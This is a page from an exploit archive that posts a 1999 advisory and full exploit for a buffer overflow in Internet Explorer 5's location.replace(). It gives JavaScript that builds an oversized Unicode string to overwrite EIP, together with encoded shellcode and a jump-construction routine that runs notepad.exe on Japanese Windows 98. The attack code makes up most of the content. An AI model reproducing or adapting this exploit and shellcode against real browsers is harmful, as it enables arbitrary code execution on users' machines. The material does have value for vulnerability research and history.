exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ie_location.replace_hole.txt

ie_location.replace_hole.txt
Posted Nov 5, 1999
Authored by shadowpenguin

IE5 location.replace overflow exploit by L(phyx@i.am), Sep.21,1999. http://layer.webprovider.com/

tags | web, overflow
SHA-256 | 15b0ebaed0ced7c91c142109eba13d162499fe92c2465e089456ee5db7f924d9

ie_location.replace_hole.txt

Change Mirror Download
Posted to PENGUIN BBS      09/21 Tue 07:42:42

Name : L
Title : location.replace() overflow exploit
URL : http://layer.webprovider.com/
Contact : phyx@i.am

---

Internet Explorer has buffer overflow bug on "location.replace()".
If the long string is specified at argument of "location.replace()", buffer overflow will happen.

Platform Windows
Application Internet Explorer
Confirmed version 5.00.2314.1003
Fixed version None
Type buffer overflow
Exploitable Yes
Reappearance by remote Yes
Defense Disable active scripting


For example:

<script>
var longstring = new String();
for(i = 0; i < 8000; i++)
longstring += "a";
location.replace(longstring);
</script>

At GPF dialogbox, EIP will be 0x00610061 in this case.
JScript is using Unicode for internal character set.
Code of 'a' is 0x61 in ASCII.
But, in Unicode, code of 'a' is 0x0061.
We must use Unicode to exploit this bug.

For example:

<script>
var longstring = new String();
for(i = 0; i < 8000; i++)
longstring += "\u6161";
location.replace(longstring);
</script>

Now, we can set EIP freely.


Exploit sample that executes notepad.exe for Japanese Windows 98:

<script>
var JMPL = 0xe9;
var NOP = 0x90;
var EIP = 0xBFF72769; /* jmp %eax @ kernel32 */
var OVERFLOWLENGTH = 8000;
var EXPLOIT =
"\u9090\u9090\u9090\u9090\u9090" +
"\u48eb\u535b\u3053\u88c0\u0a43\u4388\u8811\u1643" +
"\u4388\ub922\u7750\ubff7\uff53\u89d1\u83c5\u0bc3" +
"\u28b9\uf76e\u53bf\uff55\u89d1\u83c7\u07c3\u28b9" +
"\uf76e\u53bf\uff55\u89d1\u83c6\u05c3\uff53\u83d7" +
"\u04c4\uc031\uff50\u83d6\u04c4\ub3e8\uffff\u6dff" +
"\u7673\u7263\u2e74\u6c64\u206c\u7973\u7473\u6d65" +
"\u6520\u6978\u2074\u6f6e\u6574\u6170\u2e64\u7865" +
"\u2065"; /* exploit code */

function WordToBinary()
{
var code = "";
for(i = 0; i < arguments.length; i++)
code += String.fromCharCode(arguments[i] & 0xffff);
return code;
}

function LongToBinary()
{
var code = "";
for(i = 0; i < arguments.length; i++)
code += String.fromCharCode( (arguments[i] ) & 0xffff,
(arguments[i] >> 16) & 0xffff );
return code;
}

function MakeExploitString(offset, eip, exploit)
{
var exstring = "";
var saddr = LongToBinary(eip);
var atebx = WordToBinary(0xf8eb) + "z"; /* jmp -6; (padding) */
var jmpto = (~(exploit.length*2) & 0xffffffff) + 1 - 5;
var jmpto_exploit =
WordToBinary((JMPL << 8) + NOP) + LongToBinary(jmpto);
var padstr = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
var padchar = padstr.charAt(0);
var lengthofpad;
var i, x;

lengthofpad = offset - atebx.length - jmpto_exploit.length - exploit.length;
x = Math.floor(lengthofpad / padstr.length);
for(i = 0; i < x; i++)
exstring += padstr;
lengthofpad -= (x * padstr.length);
for(i = 0; i < lengthofpad; i++)
exstring += padchar;

exstring += exploit;
exstring += jmpto_exploit;
exstring += atebx;
exstring += saddr;

lengthofpad = OVERFLOWLENGTH - exstring.length;
for(i = 0; i < lengthofpad; i++)
exstring += padchar;

return exstring;
}

function overflow()
{
estr = MakeExploitString(5166,EIP,EXPLOIT);
location.replace(estr);
}

</script>

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    18 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    12 Files
  • 29
    May 29th
    31 Files
  • 30
    May 30th
    22 Files
  • 31
    May 31st
    18 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close